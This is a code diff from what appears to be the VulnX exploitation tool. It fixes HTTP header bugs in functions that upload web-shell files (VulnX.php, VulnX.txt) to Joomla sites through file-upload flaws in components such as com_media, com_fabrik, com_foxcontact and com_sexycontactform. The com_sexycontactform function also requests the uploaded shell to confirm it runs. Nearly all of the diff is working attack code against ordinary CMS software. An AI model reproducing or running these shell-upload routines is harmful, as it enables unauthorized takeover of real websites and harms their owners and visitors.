@@ -45,7 +45,7 @@ def com_jce(self):
45
45
def com_media (self ):
46
46
self .headers ['User-Agent' ] = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'
47
47
endpoint = self .url + "/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder="
48
- self .headers = { "content-type" :[ " form-data"]}
48
+ self .headers [ 'Content-Type' ] = " form-data"
49
49
fieldname = 'Filedata[]'
50
50
shell = open ('shell/VulnX.txt' ,'rb' )
51
51
data = {
@@ -101,7 +101,7 @@ def com_media(self):
101
101
#def com_jdownloadsb(self):
102
102
# self.headers['User-Agent'] = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'
103
103
# endpoint = self.url+"/images/jdownloads/screenshots/VulnX.php"
104
- # self.headers={"content-type":[" form-data"]}
104
+ # self.headers['Content-Type']=" form-data"
105
105
# files = open('shell/VulnX.zip','rb')
106
106
# shell = open('shell/VulnX.gif','rb')
107
107
# data = {
@@ -131,7 +131,7 @@ def com_fabrika(self):
131
131
self .headers ['User-Agent' ] = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'
132
132
endpoint = self .url + "/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload"
133
133
134
- self .headers = { "content-type" :[ " form-data"]}
134
+ self .headers [ 'Content-Type' ] = " form-data"
135
135
fieldname = 'file'
136
136
shell = open ('shell/VulnX.php' ,'rb' )
137
137
data = {
@@ -158,7 +158,7 @@ def com_fabrikb(self):
158
158
self .headers ['User-Agent' ] = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'
159
159
endpoint = self .url + "/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload"
160
160
161
- self .headers = { "content-type" :[ " form-data"]}
161
+ self .headers [ 'Content-Type' ] = " form-data"
162
162
fieldname = 'file'
163
163
shell = open ('shell/VulnX.txt' ,'rb' )
164
164
data = {
@@ -189,7 +189,7 @@ def com_foxcontact(self):
189
189
# 'components/com_foxcontact/lib/uploader.php?cid={}&mid={}&qqfile=/../../_func.php'}
190
190
endpoint = self .url + "/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload"
191
191
192
- self .headers = { "content-type" :[ " form-data"]}
192
+ self .headers [ 'Content-Type' ] = " form-data"
193
193
fieldname = 'file'
194
194
shell = open ('shell/VulnX.txt' ,'rb' )
195
195
data = {
@@ -353,7 +353,7 @@ def com_sexycontactform(self):
353
353
fieldname = "image[]"
354
354
files = {'image' : (name_img ,img ,'multipart/form-data' ,{'Expires' : '0' })}
355
355
data = { fieldname : files }
356
- requests .post (endpoint , data = data , heades = self .headers ,verify = False ).text
356
+ requests .post (endpoint , data = data , headers = self .headers ,verify = False ).text
357
357
shellup = self .url + "/com_sexycontactform/fileupload/files/files/VulnX.php?Vuln=X"
358
358
checkShell = requests .get (shellup ,headers = self .headers ,verify = False ).text
359
359
statusCheck = re .findall (re .compile (r'Vuln X' ),checkShell )
0 commit comments